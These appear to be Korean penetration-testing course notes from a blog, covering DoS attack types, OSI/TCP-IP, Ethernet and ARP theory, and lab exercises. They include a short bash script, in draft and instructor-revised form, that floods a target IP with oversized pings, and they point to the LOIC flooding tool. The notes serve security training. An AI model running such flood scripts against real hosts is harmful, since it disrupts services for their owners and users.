[실습] WEB 패킷을 캡쳐하여 분석한다.
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(Web Browser) --> linux200(httpd(80))


[실습] nslookup 패킷 분석하기
● DNS 헤더(DNS Data) 부분을 중점적으로 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))
    display filter : ! arp && ! dhcpv6 && ip.addr == 192.168.20.200


[실습] ping 안되는 사이트에 대한 hping3 명령어 사용하기






■ DoS(Denial of Service) Attack Type
   
    LAND Attack  -> DoS attack (1:1)
    Smurf Attack -> DDoS attack(N:1)

LAND(Local Area Network Denial) attack is a DoS(Denial of Service) attack.
The Smurf Attack is a DDoS(Distributed Denial-of-Service) attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address.

DoS(Denial of Service) Attack Types
● Flood Attack
● Software Attack

(1) Flood Attack
● TCP SYN Flood공격자 IP를 spoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법.
● UDP Flood AttackUDP Body에 Garbage Data를 Padding 하여 공격하는 방법.
● ICMP Smurfing AttackICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.
● ICMP Flood Attack

(2) Software Attack
● Ping of Deathping 명령어를 이용하여 ICMP 패킷을 비 정상적으로 크게 만들어 공격하는 방법.
● TearDrop패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)

다른 방식으로 DoS/DDoS 구분하는 방법
● Volume Based AttackUDP Flood, ICMP Flood, Spoofed packet-based flood-> (목적) 피해 시스템(타겟 시스템의 대역폭(Bandwidth)을 소진한다.)
● Protocol AttackSYN Flood, Ping of Death, Smurf, Teardrop, Fragemented packet 등-> (목적)
● Application Layer Attack
● Session Exhaustion





[참고] ICMP LAND(Local Area Network Denial) Attack
● 툴을 제작해 보자.예 (윈도우) c:\> ping 10.0.0.1 -t -l 50000   (c:\> ping /?)예 (리눅스) # ping -s 50000 10.0.0.1         (# man ping)

    # /root/bin/ping.sh 192.168.20.200   (KaliLinux내에 프로그램을 만든다.)
    <CTRL + C>    # pkill <program> 
    * 기능(ping -s 60000 <Target's IP>)
    * 테스트(KaliLinux -> linux200/window2008)
● hping3 명령어의 수행결과와 비교한다.[참고] hping3 명령어를 사용한 ICMP LAND Attack


[참고] TCP Syn Flooding 공격



----------------------------------------------------------------------------------------------------
초안
----------------------------------------------------------------------------------------------------
#!/bin/bash

IP=$1
CNT=1

while [ $CNT -le 5 ] #추후 카운트값을 입력받기 위해서 조건문 수정
do
    nohup ping -s 60000 $IP > /dev/null 2>&1 &
    CNT=`expr $CNT + 1`
done

sleep 5 #순차적으로 보이기위해서 조건문 안에 추가해주면 좋을것

killall -KILL ping > /dev/null 2>&1 & #트랩을 사용해서 종료시그널 이용하면 좋을것
----------------------------------------------------------------------------------------------------
강사님이 수정해주신거
----------------------------------------------------------------------------------------------------
#!/bin/bash

trap 'pkill ping; exit 2' 2 3

if [ $# -ne 1 ] ; then
    echo "Usage: $0 <Target IP>"
fi

IP=$1
MIN=1
MAX=5

while [ $MIN -le $MAX ]
do
    nohup ping -s 60000 $IP > /dev/null 2>&1 &
    MIN=`expr $MIN + 1`
    sleep 5
done

sleep 86400

trap 2 3

#killall -KILL ping > /dev/null 2>&1 &
----------------------------------------------------------------------------------------------------




[참고] UDP Flooding 공격
● loic 툴 사용(http://sourceforge.net/projects/loic/)
● windows2008 설치해서 테스트한다.(.NET Framwork 존재해야 한다.)
● 공유디렉토리의 "dotNetFrameWork" 디렉토리에 존재한다.


[참고] 운영체제 내에서 부하량을 주는 방법(로컬 DoS)


[참고] ShoWin 툴을 사용하여 보안 코딩에 대한 이론을 배운다.
- 알FTP(예전프로그램) 사용해 보기
- 알드라이브(현재프로그램) 사용해 보기
- window2008 서버를 사용한다.
- www.naver.com (www.daum.net) 사용해 보기
- [참고] Yasca program (http://www.scovetta.com/yasca.html)


[참고] 툴을 통해 무작위대입공격 또는 사전파일대입공격에 대해 이론을 배운다.
- Brutus Attack(무작위 대입 공격)
- Dictionary Attack(사전 파일 대입 공격)


[참고] KaliLinux에서 Packet Sniffing 작업하기


[참고] KaliLinux에서 DNS Spoofing 수행하기


[참고] SNMP 취약점에 대해서 알아보자.
● SNMP 취약점에 대해서(SNMP의 취약점을 이용한 대응방안 - 동서대 현태원)
● SNMP 취약점에 대해서(실습)


[참고] DHCP 취약점에 대해서 알아보자.
● DHCP 동작 원리
● DHCP 취약점(DHCP Spoofing) -> 과제(EX: ettercap Tools)


■ Application Layer
--------------------------------------------------
Protocol        Software
--------------------------------------------------
FTP        vsftpd, ftp CMD
HTTP        apache, web browser(IE)
SMTP        sendmail, mail CMD
TELNET        telnetd, telnet CMD
DNS        bind, nslookup CMD
........
--------------------------------------------------

■ TCP/IP Model
---------------------------
Application Layer(DNS, HTTP, SNMP, SMTP, ...)
            -> DNS spoofing, DHCP spoofing, ... + dictionary attack
---------------------------
Transport Layer(TCP/UDP)     -> TCP Syn Flooding, UDP Flooding
---------------------------
Internet Layer(ICMP/IGMP, IP(IPv4/IPv6), ARP/RARP) -> ARP Spoofing, IP Spoofing, hping3 CMD
---------------------------
Network Interface Layer(Ethernet)
---------------------------







http://www.scovetta.com/yasca.html

[과제] yasca 라는 프로그램에 대해서 조사


http://blog.naver.com/PostView.nhn?blogId=chogar&logNo=80201106682&parentCategoryNo=22&categoryNo=&viewDate=&isShowPopularPosts=false&from=postView
http://stginc.tistory.com/entry/%EC%86%8C%EC%8A%A4%EC%BD%94%EB%93%9C-%EC%A7%84%EB%8B%A8-%ED%88%B4-Yasca%EC%97%90-%EB%8C%80%ED%95%9C-%EC%86%8C%EA%B0%9C-%EB%AC%B8%EC%84%9C
http://www.openeg.co.kr/185
http://jaemunlee.tistory.com/1083
http://web-dev.tistory.com/744




'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160617 정보수집단계  (0) 2016.06.18
20160616 정보수집단계  (0) 2016.06.16
20160614 네트워크이론  (0) 2016.06.15
20160613 네트워크이론  (0) 2016.06.14
20160613 프로젝트#1 피드백  (0) 2016.06.14
Posted by 22Hz
, |

 


  네트워크(Network) 이론
  - OSI 7 Layer & TCP/IP 5 Layer

 

 

INDEX
------------------------------------
1.   네트워크 개요
2.   OSI 7 Layer
3.   TCP/IP 5 Layer
------------------------------------

 

 

1
 개요(Overview)

 

(1) 표준화와 네트워크 표준 기구(Networking Standards Organizations)

표준화(Standard)
● 기술적인 특성 또는 명확한 표준의 보장을 포함하여 승인된 내용을 문서화 하는것이다.
● 특정 제품 또는 특정 서비스가 설계되고 수행된다.(최소 허용 성능을 정의)
● 많은 서로 다른 조직들이 컴퓨터 산업 표준을 이끌어 내고 있다.[참고] 대표적인 산업표준 기구

■ 대표적인 산업 표준 기구들

ANSI(American National Standards Institute)
● 수천의 산업, 정보기관 대표자들로 구성되어 있다.
● 미국 내의 규격이지만, ISO에 앞서서 제정되는 경우도 많으며, ANSI 표준이 ISO 표준이 되기도 한다.

EIA(Electronic Industries Alliance)
● 미국의 Washington DC에 본부를 두고 있는 전자 산업 연합
● 통신 조건의 표준화를 위한 만들어진 전자 제품 생산자들의 모임
● 직렬 통신 장치 사이의 연결을 위하여 사용되는 RS232-C에 대한 표준은 EIA의 대표적인 업적이다.
● 이들에 의해 제정된 통신 전송방식을 말하기도 한다.

TIA(Telecommunications Industry Association)
● 1988년 미국전화공급자 협회와 미국전자공업협회(EIA)의 정보 통신 기술 그룹(ITG)이 합병하여 설립된 협회
● EIA의 전기 통신부로서 활동하고 있다.
● 표준화의 초점이 정보기술(IT), 무선, 위성통신, 광케이블, 전화장치에 있다.

IEEE(Institute of Electrical and Electronics Engineers)
● 전기전자공학 전문가들의 국제조직이다.
● 국제 사회의 엔지니어링 전문가들로 구성되어 있다.
● 미국의 뉴욕에 위치하고 있다.
● 2004년 현재 150개국 35만명의 회원으로 구성된 전기전자 공학에 관한 최대 기술 조직으로 주요 표준 및 연구 정책을 발전시키고 있다.

ISO(International Organization for Standardization)
● 국제표준화 기구
● 국제 표준화 기구는 1947년에 설립되었으며, 146여개 나라에서 온 대표자들로 구성된 국가표준화 기구의 세계적인 연합체이다.
● ISO가 육성하는 표준들 가운데 하나인 OSI는 통신 프로토콜의 보편적인 참조 모델이다. 많은 나라들이 ANSI 등과 같은 국가 표준화 기구를 가지고 있으며, 이들은 ISO의 표준안 작성에 참여하고 기여한다.

ITU(International Telecommunication Union)
● 국제 전기통신연합
● 국제 전송 규정- 라디오, TV 주파수- 적외선, 전화기 특성- 네트워킹 인프라- 국제적인 통신에 적용되는 관세율
● 전형적으로 산업표준을 성문화하는 것이 아니라 국제적인 전송 규정에 관여한다.

 

 


(3) 프로토콜(Protocol)

  프로토콜 = 통신 규약
  프로토콜 : 데이터형식(syntax), 의미(semantics), 순서/속도(sequence)

(3.1) 프로토콜의 이해

● 네트워크 통신을 위한 규약과 처리절차
● 통신을 위해서 컴퓨터는 프로토콜 기준을 맞추어야 한다.
● 프로토콜 형태- 비접속 지향형(Connectionless)- 접속 지향형(Connection-Oriented)- 라우팅형(Routable)- 비라우팅형(Nonroutable)

(3.2) 프로토콜의 기능

● 각각의 모든 프로토콜은 서로 다른 기능과 목적을 가진다.
● 프로토콜은 1계층 내지 그 이상의 계층에서 동작한다.
● 프로토콜 스택 또는 프로토콜 슈트는 협력하여 동작하기 위한 프로토콜의 묶음이다.
● 대다수 공통적인 프로토콜 스택은 TCP/IP이고 인터넷을 위한 거의 대다수 운영체제에서 사용된다.

 


2
 OSI 7 Layer(OSI 7 Model)

 

■ OSI 7 Layer(OSI 7 Model)

● OSI(Open Systems Interconnection) Model국제 표준화 기구(ISO)에서 개발한 모델로, 컴퓨터 네트워크 프로토콜 디자인과 통신을 계층으로 나누어 설명하고 있다.
● 계층(Layer)의 종류- 물리적 계층(Physical Layer)- 데이터링크 계층(Datalink Layer)- 네트워크 계층(Network Layer)- 전송 계층(Transport Layer)- 세션 계층(Session Layer)- 프레젠테이션 계층(Presentation Layer)- 응용 계층(Application Layer)
● 각 계층에서 독립적인 프로토콜이 동작한다.
● 이 모델은 프로토콜을 기능별로 나눈것이다.
● 일반적으로 하위 계층은 하드웨어로 상위 계층은 소프트웨어로 구현된다.


(1) 7계층 응용 계층(Application Layer)
● 응용 프로세스와 직접 관계하여 일반적인 응용 서비스를 수행한다.
● 응용계층 프로토콜의 종료 예- SMTP(Simple Mail Transport Protocol)- FTP(File Transfer Protocol)- SNMP(Simple Netowrk Management Protocol)- HTTP(Hypertext Transfer Protocol)- API(Application Program Interface)


(2) 6계층 - 표현 계층(Presentation Layer)
● 네트워크가 요구하는 포맷과 컴퓨터가 요구로하는 포맷간의 데이터를 번역한다.- 프로토콜 전환- 데이터 전환(Encrypt/Decrypt)- 압축과 암호화- 문자집합 변환- 그래픽 명령어의 해석


(3) 5계층 - 세션 계층(Session Layer)
● 분리된 컴퓨터 상에서 애플리케이션이 세션이라는 연결을 공유하는 것을 허용한다.
● 통신하는 두 프로세스간의 대화를 제어하고, 통신 중에 어느 지점에서 전송을 하고 우가 수신을 할 것인지를 결정
● 데이터 동기화와 네트워크오류 이벤트 검사, 오류가 발생한 지점 이후의 데이터만 재전송 보장
● 동시 송수신 방식(Duplex), 반이중 방식(Half Duplex), 전이중 방식(Full Deplex)의 통신과 함께, 체크 포인팅과 유휴, 종료, 다시 시작 과정등을 수행
● TCP/IP 세션을 만들고 없애는 책임을 진다.


(4) 4계층 - 전송 계층(Transport Layer)
● 패킷이 차례로 손실이나 중복 및 에러 없이 전송되는 것을 보장
● 커다란 메세지를 세션 계층으로 부터 목적지 컴퓨터에 전송되는 작은 패킷으로 쪼개고 세션 계층에 나타나는 메세지로 패킷을 다시 조합(Fragmentation & Reassembly)
● 시퀀스 넘버 기반의 오류 제어 방식을 사용한다.


(5) 3계층 - 네트워크 계층(Network Layer)
● 논리적인 주소를 물리적인 주소로 번역한다.
● 논리적으로 독립된 네트워크간의 통신을 유지하는 역할을 수행
● 회로, 메세지, 패킷 교환
● 라우트 발견과 라우트 선택
● 접속 서비스, 네트워크 계층 플로우 컨트롤, 네트워크 계층의 에러제어, 패킷 순서 관리
(6) 2계층 - 데이터링크 계층(Data Link Layer)
● 하나의 장치로 부터 다른 장치로의 신호를 통한 데이터의 흐름을 제공
● 네트워크 계층으로 부터 패킷을 받아서 송신을 위한 물리적인 계층에 보내질 프레임이라는 데이터 단위에 정보를 패키징
● 두가지 하위 계층이 존재- Logical Link Control  통신 장치간의 연결을 설정하고 관리하는 책임- Media Access Control  다중 장치가 같은 미디어 채널을 공유하는 제어(Block ID + Device ID)


(7) 1계층 - 물리 계층(Physical Layer)
● 단순히 한 컴퓨터로 부터 다른 컴퓨터로 비트를 전송하는 책임
● 물리적인 정보 전달 매개체에 대한 연결의 성립 및 종료
● 패시브 허브, 단순한 액티브허브, 연결자, 케이블, 커넥터, 전송기, 수신기, 송수신기가 속함

 

 

 

비트신호 맥 아이피 포트 세션 암호화 사용자에게 보여준다

 

 

3
 TCP/IP 5 Layer(TCP/IP Model)

 

(1) TCP/IP 모델(TCP/IP 5 Layer) 개요

TCP/IP 5 Layer             Protocol
===================+==================================
Application                DNS, DHCP, NTP, IPFilter    -> DNS, DHCP, NTP, Firewall
===================+==================================
Transport                  TCP, UDP                    -> Port Admin
===================+==================================
Internet                   ICMP, IGMP,                 -> IP Admin
   IPv4, IPv6
   ARP, RARP
===================+==================================
Network Interface                                      -> Ethernet(CSMA/CD), Packet, MAC Admin
===================+==================================
Hardware                   Transmission Media(IEEE)    -> LAN Cable
===================+==================================

 

 


[참고] RFC(Request for Comments) 문서 검색 방법
http://www.ietf.org/rfc.html
http://www.ietf.org/rfc/rfcNNNN.txt   (NNNN is RFC number)

 

 

(3). TCP/IP Model 구성
 
TCP/IP 모델은 Application, Trasport, Internet, Network Interface, H/W 계층으로 구분 된다. Application 계층에서 생성되는 데이터를 메세지(Messages)라고 한다. Transport 계층에서 생성되는 데이터는 세그먼트/데이터그램(Segment/Datagram)라고 한다. 세그먼트/데이터그램은 상위 계층에서 내려오는 메세지에 Transport 헤더(Header)를 덧 붙이게 된다. 만약 TCP Header를 붙이게 되면 TCP Segment 라고 부르고, UDP Header가 붙게 되면 UDP Datagram이라고 부른다. Transport Header에 들어 가는 중요한 정보는 Port 번호(출발지/목적지)이다. Internet 계층의 데이터는 데이터그램이라고 하고, 상위해서 내려오는 세그먼트/데이터그램을 최대전송단위(MTU, Maximum Transfer Unix)로 쪼개어서 각각에 헤더를 붙이게 된다. Internet Header에 들어가는 중요한 정보는 IP(출발지/목적지)이다. Network Interface 계층에서 생성되는 데이터를 Packet/Frame이라고 하고, 상위에서 내려오는 데이터그램에 헤더(Header)와 테일(Tail)를 붙이게 된다. Network Interface 계층의 Header에 들어가는 중요한 정보는 MAC(출발지/목적지)주소이다. Network Interface 계층의 Tail 부분에 붙는 정보를 CRC 코드라고 한다. 이 코드를 통해 패킷(또는 프레임)의 데이터 통신상의 무결성을 점검하게 된다. Hardware 계층에서 생성되는 데이터를 Signal/Bits라고 부르고, 상위의 Packet/Frame을 bits로 환산하여 전송하게 된다. 상대방 호스트는 이 패킷을 받게 되면 역으로 데이트를 복원하는 과정을 수행한다.
 
▪ Application Layer
▪ Transport Layer
▪ Internet Layer
▪ Network Interface Layer
▪ Hardware Layer
 

 |--------------------|
 | Application        |          Mesg.   Mesg.              Domain Addr.       
 |--------------------|
 | Transport          |        H+Mesg.   Segment/Datagram   Port Addr.  2Bytes
 |--------------------|
 | Internet           |      H+Segment   IP Datagram        IP Addr.    4Bytes
 |--------------------|
 | Network Interface  |    H+Datagram+T  Packet/Frame       MAC Addr.   6Bytes
 |--------------------|
 | Hardware           |                  Signal/bits
 |--------------------|

 
            [그림] 각 계층의 생성 데이터이름과 헤더의 중요한 정보
 

 
     [HOSTA]                                                       [HOSTB]
# telnet HostB 23 --------------------------------------------> in.telnetd(23)
IP        : IP1                     IP   : IP2                  IP        : IP3
MAC      : MAC1                    MAC  : MAC2                 MAC       : MAC3

|--------------------|                                |--------------------|
| Application        |                                        | Application        |
|--------------------|              [ROUTER]                  |--------------------|
| Transport          |                                        | Transport          |
|--------------------|    |--------------------|          |--------------------|
| Internet           |    | Internet           |          | Internet           |
|--------------------|       |--------------------|          |--------------------|
| Network Interface  |        | Network Interface  |          | Network Interface  |
|--------------------|        |--------------------|          |--------------------|
| Hardware           |        | Hardware       |          | Hardware           |
|--------------------|        |--------------------|          |--------------------|
           |                        |         |                          |
           +------------------------+         +-------------------------+
 
                   [그림] 호스트 대 호스트 통신(Peer to peer communication)
 

 

 

 

 

4
 네트워크 인터페이스 계층(Network Interface Layer)

 

TCP/IP Network Interface Layer에서 사용하는 것은 Ethernet을 사용하고 있고, 전송방식으로는 CSMA/CD 방식을 사용한다. LAN(Ethernet)에서 통신할때 필요한 중요한 요소로서 (a)랜전송매체(LAN Media), (b)이더넷(Ethernet), (c)CSMA/CD 방식등이 존재한다. LAN에서 통신할 때 사용하는 주소를 MAC 주소라 한다. MAC 주소는 물리적주소(Physical Address) 또는 이더넷 주소(Ethernet Address)라고도 불린다.
 
■ LAN 오브젝트(LAN Object)
         ■ 토폴로지(Topologies) => Start 토폴로지
         ■ LAN 전송 매체(Transmission Media) => (유선) UTP5E(1000BASE-T)
         ■ 이더넷(Ethernet) => Ethernet S/W
         ■ CSMA/CD 방식
         ■ Frame/Packet
         ■ MAC 주소 관리 (Addr. Management)
 
 

(1). 네트워크 토폴로지
 
이더넷상에서 네트워크의 구성 방식에 따라 여러가지 다음과 같은 토폴로지로 구분한다.
 
■ 네트워크 토폴로지의 종류(Network Topologies)
         ■ Bus Topologies          Dummy Hub 사용하는 경우
         ■ Star Topologies         Switching Hub 사용하는 경우
         ■ Ring Topologies         Token Ring Hub 사용하는 경우
         ■ VLAN Topologies         Virutal LAN 사용하는 경우
 

(2). 랜 전송 매체(LAN Media, LAN Cable)
 
LAN상에서 호스트 간에 연결을 위해 사용되며, 호스트에서 허브의 일반포트로 연결되는 케이블을 나타낸다. TCP/IP에서는 케이블(Cable)에 대한 규약이 없다. 일반적으로  IEEE에서 제정한 표준을 사용하고 있다.

[참고] 케이블 제작 방법(http://blog.daum.net/kmjhj/9601104?nil_profile=tot)
       - (ㄱ) Cross Cable, (ㄴ) Direct Cable, (ㄷ) Console Cable


 
랜 전송 매체
■ 일반적으로 나누는 방식(EX: UTP CAT5e.)
■ IEEE에 정의된 표준으로 나누는 방식(EX: 1000BASE-TX)
 
 
1. 이더넷 주요소(Ethernet, DIX 표준)

미국의 제록스(Xerox Corporation), 미니컴퓨터 제조회사인 디지털이퀴프먼트와 반도체 제조회사인 인텔(Intel Corporation)이 공동으로 개발하여 1980년에 상품화하고 특허를 받았다. LAN은 컴퓨터 제조회사가 각기 나름대로 개발하고 있으나 LAN의 국제표준화를 추진하고 있는 미국전기전자기술자협회(IEEE, 802.3 Ethernet Standards)의 표준방식의 하나로서 채용되고 있다. 이더넷은 데이터 전송을 위해 다음과 같은 내용의 CSMA/CD(carrier sense multiple access with collision detection) 방식을 사용한다. 데이터를 보내려는 컴퓨터가 먼저 통신망이 사용 중인지 아닌지 검사한 후에 비어 있을 때 데이터를 보낸다. 통신망이 사용 중이면 일정시간을 기다린 후 다시 검사한다. 통신망이 사용 중인지는 전기적인 신호로 확인할 수 있다. 만약 두 대의 컴퓨터가 동시에 검사하여 통신망이 사용 중이지 않다는 것을 확인하고 동시에 전송하게 되면 충돌이 발생한다. 이런 경우에 대비해서 데이터를 전송한 컴퓨터는 자신의 데이터가 손상되지 않았는지를 확인하여 손상이 있으면 다시 전송하게 된다. 이때 두 컴퓨터의 재전송이 동일한 시간 후에 일어나면 다시 충돌이 발생하므로 재전송 시간은 일정한 방법에 의해 변경된다.
 
이더넷에서 주요소로서 프레임이라 불리는 패킷과 전송방식으로 CSMA/CD 방식, 그리고 전송매체이다.
 
이더넷의 중요한 요소
▪ Ethernet packets are called frames
▪ The Ethernet access method, CSMA/CD
▪ Hardware cable
 
 
 
2. CSMA/CD(Carrier Sense Mutiple Access/Collision Detection) 방식
 
CSMA/CD 방식은 세그먼트 내에 여러개의 호스트가 동시에 반송자(Carrier)를 통해 다중으로 접근할 수 있다. 하지만 이 경우 각 호스트는 세그먼트를 감지(Sense)하고 있다가 다중 접근을 감지한 시스템이 재밍 시그널(Jam Signal)을 보내면 세그먼트의 터미네이터(Terminator)가 세그먼트를 초기화 하고 각 호스트는 일정한 시간동안 쉬었다가 자신의 데이터를 재 전송하는 방식이다.

 

(1). 이더넷 주소(Ethernet Address)의 종류

이더넷에서 패킷을 수신하는 시스템을 명시할때 사용하는 주소는 패킷을 수신할 시스템을 명시하는 방법에 따라 세 가지로 구분한다. 한 시스템을 수신처로 명시하는 유니캐스트(Unicast Address), 모든 시스템을 수신처로 명시하는 브로드캐스트(Broadcast Address),몇몇 시스템을 수신처로 명시하는 멀티캐스트(Multicast Address)이다.

■ 이더넷 주소(Ethernet Address)
= MAC Address(Media Access Control Address)
= Physical Address

이더넷 주소 종류(Ethernet Addresses Type)
● Unicast Addresses  (예: 08:00:20:XX:XX:XX)=> CID(Company ID) + VID(Vendor ID).
● Broadcast Addresses(예: FF:FF:FF:FF:FF:FF)
● Multicast Addresses(예: 01:00:5e:00:00:01, 224.0.0.1)
 
[참고] Multicast Addresses (MAC)
01:00:5e(3Bytes) + IP 주소(3Bytes,예: 224.0.0.1-> 0.0.1)
===> 01:00:5e:00:00:01

[참고] MAC 주소 목록 찾기
MAC 주소 목록 찾기 -> http://www.coffer.com/mac_find 에서 MAC 주소 검색
MAC 주소 목록 찾기 -> http://www.iana.org/assignments/ethernet-numbers
MAC 주소 목록 찾기 -> http://standards.ieee.org/regauth/oui/oui.txt
MAC 주소 목록 확인 -> http://blog.naver.com/levelup5?Redirect=Log&logNo=100013936710
 

 

[실습] MAC 주소(CID) 검색하기
http://www.coffer.com/mac_find
● 여러가지 회사의 MAC CID(Company ID)를 검색하여 정리한다.(EX: VMware, Intel, CISCO)

 

[실습] 이더넷 프래임(패킷)의 구조를 확인
● wireshark 사용
● win2008(windows 2008) <---> linux200(centos 5.10) 사용

 

 

 

 


 
 


7
 ARP(Address Resolution Protocol)


 
ARP(주소 변환 프로토콜, Address Resolution Protocol)는 IP 네트웍 상에서 IP 주소를 물리적 네트웍 주소로 대응시키기 위해 사용되는 프로토콜이다. 여기서 물리적 네트웍 주소라 함은 이더넷 또는 토큰링의 48 bits 네트웍 카드주소를 의미한다.
 
예를 들어, IP 호스트 A가 IP 호스트 B에게 IP 패킷을 전송고자 할 때 IP 호스트 B의 물리적 네트웍 주소를 모르는 경우, ARP 프로토콜을 사용하여 목적지 IP 주소 B와 브로드캐스팅 물리적 네트웍 주소 FF:FF:FF:FF:FF:FF를 가지는 ARP 패킷을 네트웍 상에 전송한다. IP호스트 B는 자신의 IP 주소가 목적지에 있는 ARP 패킷을 수신하면 자신의 물리적 네트웍 주소를 A에게 응답한다.

이와 같은 방식으로 수집된 IP 주소와 이에 해당하는 물리적 네트웍 주소 정보는 각 IP 호스트의 ARP 캐시라 불리는 메모리에 테이블 형태로 저장된 후 다음 패킷 전송시에 다시 사용된다. ARP와는 역으로, IP 호스트가 자신의 물리 네트웍 주소는 알지만 IP 주소를 모르는 경우, 서버로부터 IP주소를 요청하기 위해서는 RARP를 사용한다.
 

■ IP -> MAC

 
(1). ARP 동작
 
ARP 프로토콜은 통신할때 항상 사용하는 것이다. 같은 네트워크 안에서 두대의 서버는 통신하게 된다. ServerA가 ServerB와 통신하기 위해서는 ServerB의 MAC 주소를 알아야만 한다. 그래서 ARP을 통해서 통신하기 전에 ServerB의 MAC 주소를 얻어 온다. ServerB의 MAC주소를 알게되면 다음에 또 사용할것을 대비해서 ARP 캐쉬 테이블(ARP Cache Table)에 기록하게 되고 캐싱된 것을 가지고 또 통신하는 경우 사용하게 된다.
 
ARP 동작 과정은 다음과 같다.

 ----+-----------------------+-------
     |                       |
     |                       |
 [Server A]             [Server B]
 # telnet B

(a). ARP cache table 확인
(b). ARP Request(Broadcast)
(c). ARP Reply(Unicast)
(d). ARP cache table 저장


  [그림] ARP 프로토콜 동작
 


[실습] ARP 프로토콜의 동작 원리를 확인
● win2008 --> linux200
● linux200 --> win2008

 


(2). ARP 패킷 분석
 
(참고) IT 용어 정보  """""아래 사이트를 반드시 참고해 주세요""""""
- 정보통신기술용어해설(www.ktword.co.kr)
- 용어 확인(www.terms.co.kr)


                                                           +-----------------+
                                                           |                 |
                                                           | ICMP/IGMP       |
                                                          |                 |
                                                           |  IP(IPv4,IPv6)  |
         +----------+-----------+-------------+            |                 |
         |               ARP                  |            |       ARP/RARP  |
         +----------+-----------+-------------+            |                 |
                                                           +-----------------+
+--------+----------+-----------+-------------+--------+   |                 |
| Ether  |               ARP                  | CRC(4) |   |Network Interface|
| Header |                                    |        |   |                 |
+--------+----------+-----------+-------------+--------+   +-----------------+

 
                    [그림] ARP Encapsulation in Ethernet II Frame

 


     0                   1                   2                   3  
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |           Ethernet Destination Address (Octet 0-3)          |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Ethernet Destination Address   |Ethernet Source Address        |
    |(Octet 4-5)                    |(Octet 0-1)               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |           Ethernet Source Address (Octet 2-5)                 |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |     Ether Type                |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


                        [그림] Ethernet Header

 


     0                   1                   2                   3  
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Hardware Type                  | Protocol Type               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Hardware Addr  |Protocol Addr  | Operating Code           |
    |Length         |Length         |                        |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |            Sender Hardware Address (Octet 0-3)                |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Sender Hardware Address        |Sender Protocol Address         |
    |(Octet 4-5)                    |(Octet 0-1)                     |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Sender Protocol Address        |Target Ethernet Address         |
    |(Octet 2-3)                    |(Octet 0-1)                     |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |             Target Ethernet Address (Octet 2-5)               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |             Target Protocol Address (Octet 0-3)               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


    [그림] ARP Header
 
[실습] ARP 패킷을 캡쳐하고 분석
● Ethernet Header의 모양을 확인하고 저장한다.- win2008(windows 2008) 에서 실습- linux200(centos 5.10)에서 실습


[실습] 이더넷 주소를 임시적으로 바꾸기
● win2008(windows 2008) 에서 실습
● linux200(centos 5.10) 에서 실습

 

 

■ ARP Poisoning (ARP Spoofing)

● ARP(Address Resolution Protocol) 프로토콜은 네트워크 상에서 IP 주소를 MAC 주소와 대응하기 위해 사용된다.
● 예를 들어, IP 호스트 A가 IP 호스트 B에게 IP 패킷을 전송하고자 할 때 IP 호스트 B의 MAC 주소를 모르는 경우, ARP 프로토콜을 사용하여 목적지 IP 주소 B와 브로드캐스팅 물리적 네트워크 주소 FFFFFFFFFFFF를 가지는 ARP 패킷을 네트워크 상에 전송한다.
● IP 호스트 B는 자신의 IP주소가 목적지에 있는 ARP 패킷을 수신하면 자신의 MAC 주소를 A에게 응답한다.
● 이와 같은 방식으로 수집된 IP주소와 이에 해당하는 MAC 주소 정보는 각 IP 호스트의 ARP Cache라불리는 메모리에 데이블 형태로 저장된 후 다음 패킷 전송시에 다시 사용된다.
● 원격의 공격자는 알려진 IP에 대해 잘못된 MAC 주소를 계속 발생시켜 ARP cache가 잘못된 정보를 저장하도록 하여 로컬네트워크 상에서 서비스 거부 공격을 발생시킨다.


[참고] 속이기(Spoofing)
● 스푸핑(Spoolfing)이란 속이다라는 의미이다.
● IP주소, 호스트이름, MAC 주소등 여러가지를 속일수 있으며, 스푸핑은 이런 속임을 이용한 공격을 총칭하는 명령이다.
● ARP 스푸핑, IP 스푸핑, DNS 스푸핑, DHCP 스푸핑등이 있다.
● 인터넷이나 로컬에서 존재하는 모든 연결에 스푸링이 가능하며, 정보를 얻어내는 것 외에도 시스템을 마비시키는 것도 가능하다.
